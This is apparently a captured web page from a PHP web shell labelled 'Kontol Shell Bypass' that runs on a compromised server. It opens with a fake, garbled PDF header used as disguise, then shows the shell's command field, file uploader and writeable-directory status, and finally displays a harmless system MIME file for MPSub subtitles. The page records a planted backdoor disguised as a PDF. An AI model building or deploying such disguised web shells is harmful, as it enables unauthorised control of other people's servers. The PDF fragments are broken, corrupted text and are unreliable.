%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/mime/text/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/mime/text/x-mpsub.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="text/x-mpsub">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>MPSub subtitles</comment>
  <comment xml:lang="ar">ترجمات MPSub</comment>
  <comment xml:lang="be@latin">Subtytry MPSub</comment>
  <comment xml:lang="bg">Субтитри — MPSub</comment>
  <comment xml:lang="ca">subtítols MPSub</comment>
  <comment xml:lang="cs">titulky MPSub</comment>
  <comment xml:lang="da">MPSub-undertekster</comment>
  <comment xml:lang="de">MPSub-Untertitel</comment>
  <comment xml:lang="el">Υπότιτλοι MPSub</comment>
  <comment xml:lang="en_GB">MPSub subtitles</comment>
  <comment xml:lang="eo">MPSub-subtekstoj</comment>
  <comment xml:lang="es">subtítulos MPSub</comment>
  <comment xml:lang="eu">MPSub azpitituluak</comment>
  <comment xml:lang="fi">MPSub-tekstitykset</comment>
  <comment xml:lang="fo">MPSub undirtekstir</comment>
  <comment xml:lang="fr">sous-titres MPSub</comment>
  <comment xml:lang="ga">fotheidil MPSub</comment>
  <comment xml:lang="gl">subtítulos MPSub</comment>
  <comment xml:lang="he">כתוביות MPSub</comment>
  <comment xml:lang="hr">MPSub podnaslovi</comment>
  <comment xml:lang="hu">MPSub feliratok</comment>
  <comment xml:lang="ia">Subtitulos MPSub</comment>
  <comment xml:lang="id">Subjudul MPSub</comment>
  <comment xml:lang="it">Sottotitoli MPSub</comment>
  <comment xml:lang="ja">MPSub サブタイトル</comment>
  <comment xml:lang="ka">MPSub ქვეტიტრები</comment>
  <comment xml:lang="kk">MPSub субтитрлары</comment>
  <comment xml:lang="ko">MPSub 자막 파일</comment>
  <comment xml:lang="lt">MPSub subtitrai</comment>
  <comment xml:lang="lv">MPSub subtitri</comment>
  <comment xml:lang="nb">MPSub undertekst</comment>
  <comment xml:lang="nl">MPSub-ondertitels</comment>
  <comment xml:lang="nn">MPSub-undertekstar</comment>
  <comment xml:lang="oc">sostítols MPSub</comment>
  <comment xml:lang="pl">Napisy MPSub</comment>
  <comment xml:lang="pt">legendas MPSub</comment>
  <comment xml:lang="pt_BR">Legendas MPSub</comment>
  <comment xml:lang="ro">Subtitrări MPSub</comment>
  <comment xml:lang="ru">Субтитры MPSub</comment>
  <comment xml:lang="sk">Titulky MPSub</comment>
  <comment xml:lang="sl">Datoteka podnapisov MPSub</comment>
  <comment xml:lang="sq">Nëntituj MPSub</comment>
  <comment xml:lang="sr">МПСуб преводи</comment>
  <comment xml:lang="sv">MPSub-undertexter</comment>
  <comment xml:lang="tr">MPSub altyazıları</comment>
  <comment xml:lang="uk">субтитри MPSub</comment>
  <comment xml:lang="vi">Phụ đề MPSub</comment>
  <comment xml:lang="zh_CN">MPSub 字幕</comment>
  <comment xml:lang="zh_TW">MPSub 字幕</comment>
  <acronym>MPSub</acronym>
  <expanded-acronym>MPlayer Subtitle</expanded-acronym>
  <sub-class-of type="text/plain"/>
  <glob pattern="*.sub"/>
</mime-type>

Kontol Shell Bypass